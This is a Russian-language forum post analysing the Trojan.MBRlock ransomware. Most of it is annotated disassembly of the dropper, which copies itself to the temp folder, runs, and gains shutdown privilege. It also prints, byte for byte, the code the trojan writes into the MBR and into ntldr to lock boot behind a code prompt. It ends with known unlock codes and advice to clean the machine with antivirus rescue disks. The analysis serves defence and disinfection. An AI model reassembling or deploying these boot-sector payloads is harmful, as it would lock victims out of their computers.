    .text:2AA016B9 call ds:WriteFile
    .text:2AA016BF push esi ; hObject
    .text:2AA016C0 call ds:CloseHandle
    .text:2AA016C6 lea eax, [esp+64h]
    .text:2AA016CA push eax ; lpBuffer
    .text:2AA016CB push 104h ; nBufferLength
    .text:2AA016D0 call ebx ; GetTempPathA
    .text:2AA016D2 lea edi, [esp+64h]
    .text:2AA016D6 dec edi
    .text:2AA016D7 loc_2AA016D7: mov al, [edi+1]
    .text:2AA016DA inc edi
    .text:2AA016DB test al, al
    .text:2AA016DD jnz short loc_2AA016D7
    .text:2AA016DF mov ecx, dword ptr ds:aX2z8_exe ; "\\x2z8.exe"
    .text:2AA016E5 mov edx, dword ptr ds:aX2z8_exe+4
    .text:2AA016EB mov ax, word ptr ds:aX2z8_exe+8
    .text:2AA016F1 mov [edi], ecx
    .text:2AA016F3 push 1 ; bFailIfExists
    .text:2AA016F5 mov [edi+4], edx
    .text:2AA016F8 lea ecx, [esp+68h]
    .text:2AA016FC push ecx ; lpNewFileName
    .text:2AA016FD lea edx, [esp+170h]
    .text:2AA01704 push edx ; lpExistingFileName
    .text:2AA01705 mov [edi+8], ax
    .text:2AA01709 call ds:CopyFileA
    .text:2AA0170F xor eax, eax
    .text:2AA01711 loc_2AA01711: mov cl, [esp+eax+64h]
    .text:2AA01715 mov [esp+eax+370h], cl
    .text:2AA0171C inc eax
    .text:2AA0171D test cl, cl
    .text:2AA0171F jnz short loc_2AA01711
    .text:2AA01721 xor eax, eax
    .text:2AA01723 mov ecx, 11h
    .text:2AA01728 lea edi, [esp+20h]
    .text:2AA0172C rep stosd
    .text:2AA0172E lea eax, [esp+10h]
    .text:2AA01732 push eax ; lpProcessInformation
    .text:2AA01733 lea ecx, [esp+24h]
    .text:2AA01737 push ecx ; lpStartupInfo
    .text:2AA01738 push 0 ; lpCurrentDirectory
    .text:2AA0173A push 0 ; lpEnvironment
    .text:2AA0173C push 0 ; dwCreationFlags
    .text:2AA0173E push 0 ; bInheritHandles
    .text:2AA01740 push 0 ; lpThreadAttributes
    .text:2AA01742 push 0 ; lpProcessAttributes
    .text:2AA01744 lea edx, [esp+390h]
    .text:2AA0174B push edx ; lpCommandLine
    .text:2AA0174C lea eax, [esp+88h]
    .text:2AA01753 push eax ; lpApplicationName
    .text:2AA01754 mov [esp+4A0h+StartupInfo.cb], 44h
    .text:2AA0175C call ds:CreateProcessA
    .text:2AA01762 mov ecx, [esp+474h]
    .text:2AA01769 pop edi
    .text:2AA0176A pop esi
    .text:2AA0176B pop ebx
    .text:2AA0176C call nullsub_1
    .text:2AA01771 add esp, 46Ch
    .text:2AA01777 retn
    .text:2AA01777 CopyOfInfect endp

    .text:2AA011A0 ForcedShutdown proc near
    .text:2AA011A0
    .text:2AA011A0 TokenHandle = dword ptr -1Ch
    .text:2AA011A0 Luid = _LUID ptr -18h
    .text:2AA011A0 NewState = _TOKEN_PRIVILEGES ptr -10h
    .text:2AA011A0
    .text:2AA011A0 sub esp, 1Ch
    .text:2AA011A3 lea eax, [esp+1Ch+TokenHandle]
    .text:2AA011A6 push eax ; TokenHandle
    .text:2AA011A7 push 20h ; DesiredAccess
    .text:2AA011A9 call ds:GetCurrentProcess
    .text:2AA011AF push eax ; ProcessHandle
    .text:2AA011B0 call ds:OpenProcessToken
    .text:2AA011B6 test eax, eax
    .text:2AA011B8 jz short loc_2AA0121B
    .text:2AA011BA lea ecx, [esp+1Ch+Luid]
    .text:2AA011BE push ecx ; lpLuid
    .text:2AA011BF push offset Name ; "SeShutdownPrivilege"
    .text:2AA011C4 push 0 ; lpSystemName
    .text:2AA011C6 call ds:LookupPrivilegeValueA
    .text:2AA011CC test eax, eax
    .text:2AA011CE jz short loc_2AA01211
    .text:2AA011D0 mov edx, [esp+1Ch+Luid.LowPart]
    .text:2AA011D4 mov eax, [esp+1Ch+Luid.HighPart]
    .text:2AA011D8 push 0 ; ReturnLength
    .text:2AA011DA push 0 ; PreviousState
    .text:2AA011DC push 0 ; BufferLength
    .text:2AA011DE lea ecx, [esp+28h+NewState]
    .text:2AA011E2 push ecx ; NewState
    .text:2AA011E3 mov [esp+2Ch+NewState.Privileges.Luid.LowPart], edx
    .text:2AA011E7 mov edx, [esp+2Ch+TokenHandle]
    .text:2AA011EB push 0 ; DisableAllPrivileges
    .text:2AA011ED push edx ; TokenHandle
    .text:2AA011EE mov [esp+34h+NewState.PrivilegeCount], 1
    .text:2AA011F6 mov [esp+34h+NewState.Privileges.Attributes], 2
    .text:2AA011FE mov [esp+34h+NewState.Privileges.Luid.HighPart], eax
    .text:2AA01202 call ds:AdjustTokenPrivileges
    .text:2AA01208 mov eax, 1
    .text:2AA0120D add esp, 1Ch
    .text:2AA01210 retn
    .text:2AA01211 loc_2AA01211: mov eax, [esp+1Ch+TokenHandle]
    .text:2AA01214 push eax ; hObject
    .text:2AA01215 call ds:CloseHandle
    .text:2AA0121B loc_2AA0121B: xor eax, eax
    .text:2AA0121D add esp, 1Ch
    .text:2AA01220 retn
    .text:2AA01220 sub_2AA011A0 endp

    Код, помещаемый в MBR, ничем не отличается от предыдущей версии блокировщика
    .data:2AA02008 MBRlock_sect0 db 0BAh, 80h, 0 mov dx, 80h
    .data:2AA0200B db 0B9h, 9, 0 mov cx, 9
    .data:2AA0200E db 0B8h, 1, 2 mov ax, 201h
    .data:2AA02011 db 68h, 6Ah, 18h push 0186Ah
    .data:2AA02014 db 7 pop es
    .data:2AA02015 db 31h, 0DBh xor bx, bx
    .data:2AA02017 db 0CDh, 13h int 13h
    .data:2AA02019 db 68h, 6Ah, 18h push 0186Ah
    .data:2AA0201C db 1Fh pop ds
    .data:2AA0201D db 9Ah, 0, 0, 6Ah, 18h call far 0186A:0000
    .data:2AA02022 db 31h, 0DBh xor bx, bx
    .data:2AA02024 db 8Eh, 0DBh mov ds, bx
    .data:2AA02026 db 8Eh, 0C3h mov es, bx
    .data:2AA02028 db 8Eh, 0D3h mov ss, bx
    .data:2AA0202A db 40h inc ax
    .data:2AA0202B db 0Fh, 84h, 0Fh, 1 jz 000000136
    .data:2AA0202F db 0BAh, 80h, 0 mov dx, 80h
    .data:2AA02032 db 0B9h, 3, 0 mov cx, 3
    .data:2AA02035 db 0B8h, 3, 2 mov ax, 203h
    .data:2AA02038 db 0BBh, 0, 10h mov bx, 1000h
    .data:2AA0203B db 0CDh, 13h int 13h
    .data:2AA0203D db 73h, 5 jnc 0000003C
    .data:2AA0203F db 0B8h, 47h, 0Eh mov ax, 0E47h
    .data:2AA02042 db 0CDh, 10h int 10h
    .data:2AA02044 db 0B8h, 0, 11h mov ax, 1100h
    .data:2AA02047 db 0BDh, 0, 10h mov bp, 1000h
    .data:2AA0204A db 0B9h, 40h, 0 mov cx, 40h
    .data:2AA0204D db 0BAh, 0C0h, 0 mov dx, 0C0h
    .data:2AA02050 db 0B7h, 10h mov bh, 10h
    .data:2AA02052 db 0B3h, 0 mov bl, 0
    .data:2AA02054 db 0CDh, 10h int 10h
    .data:2AA02056 db 0BAh, 80h, 0 mov dx, 80h
    .data:2AA02059 db 0B9h, 5, 0 mov cx, 5
    .data:2AA0205C db 0B8h, 4, 2 mov ax, 204h
    .data:2AA0205F db 0BBh, 0, 30h mov bx, 3000h
    .data:2AA02062 db 0CDh, 13h int 13h
    .data:2AA02064 db 66h, 60h pushad
    .data:2AA02066 db 0B8h, 1, 13h mov ax, 1301h
    .data:2AA02069 db 0BBh, 0Ch, 0 mov bx, 0Ch
    .data:2AA0206C db 0B9h, 30h, 7 mov cx, 7
    .data:2AA0206F db 31h, 0D2h xor dx, dx
    .data:2AA02071 db 0BDh, 0, 30h mov bp, 3000h
    .data:2AA02074 db 0CDh, 10h int 10h
    .data:2AA02076 db 66h, 61h popad
    .data:2AA02078 db 66h, 60h pushad
    .data:2AA0207A db 0B8h, 1, 13h mov ax, 1301h
    .data:2AA0207D db 0BBh, 0Eh, 0 mov bx, 0Eh
    .data:2AA02080 db 0B9h, 0Ch, 0 mov cx, 0Ch
    .data:2AA02083 db 0BAh, 0, 17h mov dx, 1700h
    .data:2AA02086 db 0BDh, 52h, 7Dh mov bp, 7D52h
    .data:2AA02089 db 0CDh, 10h int 10h
    .data:2AA0208B db 66h, 61h popad
    .data:2AA0208D db 0BFh, 0, 6Ch mov di, 6C00h
    .data:2AA02090 db 0B4h, 0 mov ah, 0
    .data:2AA02092 db 57h push di
    .data:2AA02093 db 0CDh, 16h int 16h
    .data:2AA02095 db 5Fh pop di
    .data:2AA02096 db 0EBh, 37h jmps 000000C7
    .data:2AA02098 db 3Ch, 8 cmp al, 8
    .data:2AA0209A db 75h, 33h jne 000000C7
    .data:2AA0209C db 66h, 60h pushad
    .data:2AA0209E db 0B4h, 3 mov ah, 3
    .data:2AA020A0 db 0B7h, 0 mov bh, 0
    .data:2AA020A2 db 80h, 0FAh, 0Dh cmp dl, 0Dh
    .data:2AA020A5 db 0CDh, 10h int 10h
    .data:2AA020A7 db 66h, 61h popad
    .data:2AA020A9 db 76h, 0E5h jbe 00000088
    .data:2AA020AB db 66h, 60h pushad
    .data:2AA020AD db 0B4h, 3 mov ah, 3
    .data:2AA020AF db 0B7h, 0 mov bh, 0
    .data:2AA020B1 db 0CDh, 10h int 10h
    .data:2AA020B3 db 52h push dx
    .data:2AA020B4 db 0FEh, 0CAh dec dl
    .data:2AA020B6 db 0B7h, 0 mov bh, 0
    .data:2AA020B8 db 0B4h, 2 mov ah, 2
    .data:2AA020BA db 0CDh, 10h int 10h
    .data:2AA020BC db 0B8h, 20h, 0Eh mov ax, 0E20h
    .data:2AA020BF db 0CDh, 10h int 10h
    .data:2AA020C1 db 5Ah pop dx
    .data:2AA020C2 db 0FEh, 0CAh dec dl
    .data:2AA020C4 db 0B7h, 0 mov bh, 0
    .data:2AA020C6 db 0B4h, 2 mov ah, 2
    .data:2AA020C8 db 0CDh, 10h int 10h
    .data:2AA020CA db 66h, 61h popad
    .data:2AA020CC db 4Fh dec di
    .data:2AA020CD db 0EBh, 0C1h jmps 00000088
    .data:2AA020CF db 3Ch,0Dh cmp al, 0Dh
    .data:2AA020D1 db 75h, 55h jne 000000120
    .data:2AA020D3 db 0BEh, 0A5h, 7Dh mov si, 7DA5h
    .data:2AA020D6 db 0BFh, 0, 6Ch mov di, 6C00h
    .data:2AA020D9 db 0B5h, 0 mov ch, 0
    .data:2AA020DB db 8Ah, 0Eh, 0A4h, 7Dh mov cl, [7DA4h]
    .data:2AA020DF db 0F3h, 0A6h rep cmpsb
    .data:2AA020E1 db 74h, 5Bh jz 000000136
    .data:2AA020E3 db 66h, 60h pushad
    .data:2AA020E5 db 0B4h, 2 mov ah, 2
    .data:2AA020E7 db 0B7h, 0 mov bh, 0
    .data:2AA020E9 db 0BAh, 0Ch, 17h mov dx, 170Ch
    .data:2AA020EC db 0CDh, 10h int 10h
    .data:2AA020EE db 0B8h, 20h, 0Ah mov ax, 0A20h
    .data:2AA020F1 db 0B9h, 64h, 0 mov cx, 64h
    .data:2AA020F4 db 0CDh, 10h int 10h
    .data:2AA020F6 db 0B9h, 5, 0 mov cx, 5
    .data:2AA020F9 db 31h, 0D2h xor dx, dx
    .data:2AA020FB db 0B4h, 86h mov ah, 86h
    .data:2AA020FD db 0CDh, 15h int 15h
    .data:2AA020FF db 0B8h, 1, 13h mov ax, 1301h
    .data:2AA02102 db 0BBh, 0Ch, 0 mov bx, 0Ch
    .data:2AA02105 db 0B9h, 6, 0 mov cx, 6
    .data:2AA02108 db 0BAh, 0, 18h mov dx, 1800h
    .data:2AA0210B db 0E8h, 6, 0 call 00000010C
    .data:2AA0210E db 0Dh
    .data:2AA0210F db 45h ; ‘Error’
    .data:2AA02114 db 5Dh pop bp
    .data:2AA02115 db 0CDh, 10h int 10h
    .data:2AA02117 db 0B4h, 2 mov ah, 2
    .data:2AA02119 db 0B7h, 0 mov bh, 0
    .data:2AA0211B db 0BAh, 0Ch, 17h mov dx, 170Ch
    .data:2AA0211E db 0CDh, 10h int 10h
    .data:2AA02120 db 66h, 61h popad
    .data:2AA02122 db 0BFh, 0, 6Ch mov di, 6C00h
    .data:2AA02125 db 0E9h, 68h, 0FFh jmp 00000088
    .data:2AA02128 db 3Ch, 20h cmp al, 20h
    .data:2AA0212A db 0Fh, 82h, 62h, 0FFh jb 00000088
    .data:2AA0212E db 3Ch, 7Eh cmp al, 7Eh
    .data:2AA02130 db 0Fh, 87h, 5Ch, 0FFh ja 00000088
    .data:2AA02134 db 0AAh stosb
    .data:2AA02135 db 0B4h, 0Eh mov ah, 0Eh
    .data:2AA02137 db 57h push di
    .data:2AA02138 db 0CDh, 10h int 10h
    .data:2AA0213A db 5Fh pop di
    .data:2AA0213B db 0E9h, 52h, 0FFh jmp 00000088
    .data:2AA0213E db 6Ah, 0 push 0
    .data:2AA02140 db 7 pop es
    .data:2AA02141 db 0FFh, 0Eh, 13h, 4 dec word ptr [0413h]
    .data:2AA02145 db 0CDh, 12h int 12h
    .data:2AA02147 db 0C1h, 0E0h, 6 shl ax, 6
    .data:2AA0214A db 8Eh, 0C0h mov es, ax
    .data:2AA0214C db 31h, 0FFh xor di, di
    .data:2AA0214E db 0BEh, 5Eh, 7Dh mov si, 7D5Eh
    .data:2AA02151 db 0B9h, 46h, 0 mov cx, 46h
    .data:2AA02154 db 0F3h, 0A4h rep movsb
    .data:2AA02156 db 6 push es
    .data:2AA02157 db 6Ah, 0 push 0
    .data:2AA02159 db 0CBh retf
    .data:2AA0215A db 45h ; ‘Enter code: ’
    .data:2AA02166 db 66h, 60h pushad
    .data:2AA02168 db 0B8h, 1, 13h mov ax, 1301h
    .data:2AA0216B db 0BBh, 8, 0 mov bx, 8
    .data:2AA0216E db 0B9h, 0Eh, 0 mov cx, 0Eh
    .data:2AA02171 db 0BAh, 0, 18h mov dx, 1800h
    .data:2AA02174 db 0E8h, 0Eh, 0 call 00000017D
    .data:2AA02177 db 4Ch ; ‘Loading OS…’
    .data:2AA02184 db 0Dh
    .data:2AA02185 db 5Dh pop bp
    .data:2AA02186 db 0CDh, 10h int 10h
    .data:2AA02188 db 66h, 61h popad
    .data:2AA0218A db 66h, 60h pushad
    .data:2AA0218C db 7 pop es
    .data:2AA0218D db 0B2h, 80h mov dl, 80h
    .data:2AA0218F db 0B9h, 2, 0 mov cx, 2
    .data:2AA02192 db 0B8h, 1, 2 mov ax, 201h
    .data:2AA02195 db 0BBh, 0, 7Ch mov bx, 7C00h
    .data:2AA02198 db 0CDh, 13h int 13h
    .data:2AA0219A db 0B2h, 80h mov dl, 80h
    .data:2AA0219C db 0B9h, 1, 0 mov cx, 1
    .data:2AA0219F db 0B8h, 1, 3 mov ax, 301h
    .data:2AA021A2 db 0BBh, 0, 7Ch mov bx, 7C00h
    .data:2AA021A5 db 0CDh, 13h int 13h
    .data:2AA021A7 db 0EAh, 0, 7Ch, 0, 0 jmpf 00000:07C00
    .data:2AA021AC db 9
    .data:2AA021AD db 31h ; ‘123456789 ’

    Длина текста сообщения 730h = 1840 символов. Шифруется операцией xor 41h.

    В ntldr записывается 1B7h = 439 байт. Именно столько занимает тело вируса в MBR, как раз до начала информации о разделах
    .data:2AA03210 ntldr_infect db 31h, C0h xor ax, ax
    .data:2AA03212 db 8Eh, 0D0h mov ss, ax
    .data:2AA03214 db 0BCh, 0 , 10h mov sp, 1000h
    .data:2AA03217 db 0E8h, 0Eh, 0 call $+11h (228h)
    .data:2AA0321A db 0E8h, 0, 0 call $+3 (21Dh)
    .data:2AA0321D db 5Dh pop bp
    .data:2AA0321E db 0Eh push cs
    .data:2AA0321F db 1Fh pop ds
    .data:2AA03220 db 0B8h mov ax,
    .data:2AA03221 word_2AA03221 dw 0 ; { переход из оригин. файла}
    .data:2AA03223 db 83h, 0C0h, 3 add ax, 3
    .data:2AA03226 db 0FFh, 0E0h jmp ax
    .data:2AA03228 db 0Eh push cs
    .data:2AA03229 db 1Fh pop ds
    .data:2AA0322A db 68h, 0E8h, 3 push 3E8h
    .data:2AA0322D db 7 pop es
    .data:2AA0322E db 40h inc ax
    .data:2AA0322F db 0Fh, 84h, 14h, 1 jz 000000347h
    .data:2AA03233 db 0BAh, 80h, 0 mov dx, 80h
    .data:2AA03236 db 0B9h, 3, 0 mov cx, 3
    .data:2AA03239 db 0B8h, 3, 2 mov ax, 203h
    .data:2AA0323C db 0BBh, 0, 10h mov bx, 1000h
    .data:2AA0323F db 0CDh, 13h int 13h
    .data:2AA03241 db 0B8h, 0, 11h mov ax, 1100h
    .data:2AA03244 db 0BDh, 0, 10h mov bp, 1000h
    .data:2AA03247 db 0B9h, 40h, 0 mov cx, 40h
    .data:2AA0324A db 0BAh, 0C0h, 0 mov dx, C0
    .data:2AA0324D db 0B7h, 10h mov bh, 10h
    .data:2AA0324F db 0B3h, 0 mov bl, 0
    .data:2AA03251 db 0CDh, 10h int 10h
    .data:2AA03253 db 0BAh, 80h, 0 mov dx, 80h
    .data:2AA03256 db 0B9h, 5, 0 mov cx, 5
    .data:2AA03259 db 0B8h, 4, 2 mov ax, 204h
    .data:2AA0325C db 0BBh, 0, 30h mov bx, 3000
    .data:2AA0325F db 0CDh, 13h int 13h
    .data:2AA03261 db 66h, 60h pushad
    .data:2AA03263 db 0B8h, 1, 13h mov ax, 1301h
    .data:2AA03266 db 0BBh, 0Ch, 0 mov bx, 0Ch
    .data:2AA03269 db 0B9h, 30h, 7 mov cx, 730h
    .data:2AA0326C db 31h, 0D2h xor dx, dx
    .data:2AA0326E db 0BDh, 0, 30h mov bp, 3000h
    .data:2AA03271 db 0CDh, 10h int 10h
    .data:2AA03273 db 66h, 61h popad
    .data:2AA03275 db 0Eh push cs
    .data:2AA03276 db 7 pop es
    .data:2AA03277 db 66h, 60h pushad
    .data:2AA03279 db 0B8h, 1, 13h mov ax, 1301h
    .data:2AA0327C db 0BBh, 0E, 0 mov bx, 0Eh
    .data:2AA0327F db 0B9h, 0Ch, 0 mov cx, 0Ch
    .data:2AA03282 db 0BAh, 0, 17h mov dx, 1700h
    .data:2AA03285 db 0E8h, 0, 0 call 000000288
    .data:2AA03288 db 5Dh pop bp
    .data:2AA03289 db 81h, 0C5h, 0DCh, 0 add bp, 0DCh
    .data:2AA0328D db 0CDh, 10h int 10h
    .data:2AA0328F db 66h, 61h popad
    .data:2AA03291 db 0BFh, 0, 6Ch mov di, 6C00h
    .data:2AA03294 db 0B4h, 0 mov ah, 0
    .data:2AA03296 db 57h push di
    .data:2AA03297 db 0CDh, 16h int 16h
    .data:2AA03299 db 5Fh pop di
    .data:2AA0329A db 0EBh, 37h jmps 0000002D3
    .data:2AA0329C db 3Ch, 8 cmp al, 8
    .data:2AA0329E db 75h, 33h jne 0000002D3
    .data:2AA032A0 db 66h, 60h pushad
    .data:2AA032A2 db 0B4h, 3 mov ah, 3
    .data:2AA032A4 db 0B7h, 0 mov bh, 0
    .data:2AA032A6 db 80h, 0FAh, 0Dh cmp dl, 0Dh
    .data:2AA032A9 db 0CDh, 10h int 10h
    .data:2AA032AB db 66h, 61h popad
    .data:2AA032AD db 76h, 0E5h jbe 000000294
    .data:2AA032AF db 66h, 60h pushad
    .data:2AA032B1 db 0B4h, 3 mov ah, 3
    .data:2AA032B3 db 0B7h, 0 mov bh, 0
    .data:2AA032B5 db 0CDh, 10h int 10h
    .data:2AA032B7 db 52h push dx
    .data:2AA032B8 db 0FEh, 0CAh dec dl
    .data:2AA032BA db 0B7h, 0 mov bh, 0
    .data:2AA032BC db 0B4h, 2 mov ah, 2
    .data:2AA032BE db 0CDh, 10h int 10h
    .data:2AA032C0 db 0B8h, 20h, 0Eh mov ax, 0E20h
    .data:2AA032C3 db 0CDh, 10h int 10h
    .data:2AA032C5 db 5Ah pop dx
    .data:2AA032C6 db 0FEh, 0CAh dec dl
    .data:2AA032C8 db 0B7h, 0 mov bh, 0
    .data:2AA032CA db 0B4h, 2 mov ah, 2
    .data:2AA032CC db 0CDh, 10h int 10h
    .data:2AA032CE db 66h, 61h popad
    .data:2AA032D0 db 4Fh dec di
    .data:2AA032D1 db 0EBh, 0C1h jmps 000000294
    .data:2AA032D3 db 3Ch,0Dh cmp al, 0Dh
    .data:2AA032D5 db 75h, 55h jne 00000032C
    .data:2AA032D7 db 0E8h, 0, 0 call 000002DA
    .data:2AA032DA db 5Eh pop si
    .data:2AA032DB db 8Ah, 8Ch, 0DCh, 0 mov cl, [si+0DCh] ; 3B6h
    .data:2AA032DF db 81h, 0C6h, 0DDh, 0 add si, 0DDh
    .data:2AA032E3 db 0BFh, 0, 6Ch mov di, 6C00h
    .data:2AA032E6 db 0B5h, 0 mov ch, 0
    .data:2AA032E8 db 0F3h, 0A6h rep cmpsb
    .data:2AA032EA db 74h, 5Bh jz 000000347
    .data:2AA032EC db 66h, 60h pushad
    .data:2AA032EE db 0B4h, 2 mov ah, 2
    .data:2AA032F0 db 0B7h, 0 mov bh, 0
    .data:2AA032F2 db 0BAh, 0Ch, 17h mov dx, 170Ch
    .data:2AA032F5 db 0CDh, 10h int 10h
    .data:2AA032F7 db 0B8h, 20h, 0Ah mov ax, 0A20h
    .data:2AA032FA db 0B9h, 64h, 0 mov cx, 64h
    .data:2AA032FD db 0CDh, 10h int 10h
    .data:2AA032FF db 0B9h, 5, 0 mov cx, 5
    .data:2AA03302 db 31h, 0D2h xor dx, dx
    .data:2AA03304 db 0B4h, 86h mov ah, 86h
    .data:2AA03306 db 0CDh, 15h int 15h
    .data:2AA03308 db 0B8h, 1, 13h mov ax, 1301h
    .data:2AA0330B db 0BBh, 0Ch, 0 mov bx, 0Ch
    .data:2AA0330E db 0B9h, 6, 0 mov cx, 6
    .data:2AA03311 db 0BAh, 0, 18h mov dx, 1800h
    .data:2AA03314 db 0E8h, 6, 0 call 00000031D
    .data:2AA03317 db 0Dh
    .data:2AA03318 db 45h ; ‘Error’
    .data:2AA0331D db 5Dh pop bp
    .data:2AA0331E db 0CDh, 10h int 10h
    .data:2AA03320 db 0B4h, 2 mov ah, 2
    .data:2AA03322 db 0B7h, 0 mov bh, 0
    .data:2AA03324 db 0BAh, 0Ch, 17h mov dx, 170Ch
    .data:2AA03327 db 0CDh, 10h int 10h
    .data:2AA03329 db 66h, 61h popad
    .data:2AA0332B db 0BFh, 0, 6Ch mov di, 6C00h
    .data:2AA0332E db 0E9h, 63h, 0FFh jmp 000000294
    .data:2AA03331 db 3Ch, 20h cmp al, 20h
    .data:2AA03333 db 0Fh, 82h, 5Dh, 0FFh jb 000000294
    .data:2AA03337 db 3Ch, 7Eh cmp al, 7Eh
    .data:2AA03339 db 0Fh, 87h, 57h, 0FFh ja 000000294
    .data:2AA0333D db 0AAh stosb
    .data:2AA0333E db 0B4h, 0Eh mov ah, 0Eh
    .data:2AA03340 db 57h push di
    .data:2AA03341 db 0CDh, 10h int 10h
    .data:2AA03343 db 5Fh pop di
    .data:2AA03344 db 0E9h, 4Dh, 0FFh jmp 000000294h
    .data:2AA03347 db 0C3h retn
    .data:2AA03348 db 6Ah, 0 push 0
    .data:2AA0334A db 7 pop es
    .data:2AA0334B db 0FFh, 0Eh, 13h, 4 dec word ptr [0413h]
    .data:2AA0334F db 0CDh, 12h int 12h
    .data:2AA03351 db 0C1h, 0E0h, 6 shl ax, 6
    .data:2AA03354 db 8Eh, 0C0h mov es, ax
    .data:2AA03356 db 31h, 0FFh xor di, di
    .data:2AA03358 db 0BEh, 60, 1 mov si, 160h
    .data:2AA0335B db 0B9h, 46h, 0 mov cx, 46h
    .data:2AA0335E db 0F3h, 0A4h rep movsb
    .data:2AA03360 db 6 push es
    .data:2AA03361 db 6Ah, 0 push 0
    .data:2AA03363 db 0CBh retf
    .data:2AA03364 db 45h ; ‘Enter code: ’
    .data:2AA03370 db 66h, 60h pushad
    .data:2AA03372 db 0B8h, 1, 13h mov ax, 1301h
    .data:2AA03375 db 0BBh, 8, 0 mov bx, 8
    .data:2AA03378 db 0B9h, 0Eh, 0 mov cx, 0Eh
    .data:2AA0337B db 0BAh, 0, 18h mov dx, 1800h
    .data:2AA0337E db 0E8h, 0Eh, 0 call 00000038F
    .data:2AA03381 db 4Ch ; ‘Loading OS…’
    .data:2AA0338E db 0Dh
    .data:2AA0338F db 5Dh pop bp
    .data:2AA03390 db 0CDh, 10h int 10h
    .data:2AA03392 db 66h, 61h popad
    .data:2AA03394 db 66h, 60h pushad
    .data:2AA03396 db 7 pop es
    .data:2AA03397 db 0B2h, 80h mov dl, 80h
    .data:2AA03399 db 0B9h, 2, 0 mov cx, 2
    .data:2AA0339C db 0B8h, 1, 2 mov ax, 201h
    .data:2AA0339F db 0BBh, 0, 7Ch mov bx, 7C00h
    .data:2AA033A2 db 0CDh, 13h int 13h
    .data:2AA033A4 db 0B2h, 80h mov dl, 80h
    .data:2AA033A6 db 0B9h, 1, 0 mov cx, 1
    .data:2AA033A9 db 0B8h, 1, 3 mov ax, 301h
    .data:2AA033AC db 0BBh, 0, 7Ch mov bx, 7C00h
    .data:2AA033AF db 0CDh, 13h int 13h
    .data:2AA033B1 db 0EAh, 0, 7Ch, 0, 0 jmpf 00000:07C00
    .data:2AA033B6 db 9
    .data:2AA033B7 db 31h ; 1
    .data:2AA033B8 db 32h ; 2
    .data:2AA033B9 db 33h ; 3
    .data:2AA033BA db 34h ; 4
    .data:2AA033BB db 35h ; 5
    .data:2AA033BC db 36h ; 6
    .data:2AA033BD db 37h ; 7
    .data:2AA033BE db 38h ; 8
    .data:2AA033BF db 39h ; 9
    .data:2AA033C0 db 20h
    .data:2AA033C1 db 20h
    .data:2AA033C2 db 20h
    .data:2AA033C3 db 20h
    .data:2AA033C4 db 20h
    .data:2AA033C5 db 20h
    .data:2AA033C6 db 20h
    .data:2AA033C7 db 0
    Причем код придется вводить постоянно, пока Вам самим не надоест и вы не восстановите оригинальный файл ntldr

    Необходимо учитывать, что код разблокировки можно найти в дампе "зараженного" MBR. Такой же код можно увидеть и в зараженном ntldr

    [​IMG]

    Что облегчает процесс поиска кода разблокировки.
    ________________________________

    Для лечения от Trojan.MBRlock: необходимо выполнить следующие рекомендации:
    1.попробовать ввести известные коды
    Код (Text):
    [LIST]
    [*]ekol
    [*]jail
    [*]777888
    [*]zpo4301
    [*]zzp0193
    [*]281056
    [*]098SWO
    [*]875082
    [*]692058
    [/LIST]
    2.Загрузить LiveCD от DrWeb или Kaspersky Rescue Disk (с обновленными базами) записать на диск и загрузив зараженный компьютер при помощи этого диска просканировать жесткий диск - найденное вылечить.
     
    Последнее редактирование: 25 июн 2011
    15 пользователям это понравилось.

Поделиться этой страницей